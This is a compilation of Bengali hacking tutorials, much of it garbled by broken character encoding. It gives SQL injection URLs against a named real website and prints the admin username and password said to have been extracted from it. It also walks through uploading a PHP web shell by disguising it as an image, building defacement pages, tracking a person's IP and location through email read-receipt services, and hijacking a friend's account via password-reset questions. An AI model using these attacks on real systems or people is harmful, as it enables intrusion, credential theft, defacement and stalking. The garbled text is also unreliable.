এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ
TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE
CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)
VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)
JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)
কতরচছখচছছনঃ সভচছকতদ াান
যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক
IP Address কতক এফং তায খটিনাটী
IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address
র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয
IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ
1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন
2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version
যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network
ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক
অনায কতনচছজয অআকত এচছে সদখা
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom
একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ
ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23
নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ
সকান চছযফাআচছটয অআকত সফয কযায কতনযভ
মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন
হচছয ফযাখযা
মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom
তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন
কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয
াধাযন বর-ধাযনা
চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন
মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route
এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন
wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না
কতরচছখচছছনঃ সভচছকতদ াান
আচছভআর দাতায অআকত ননধান
অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
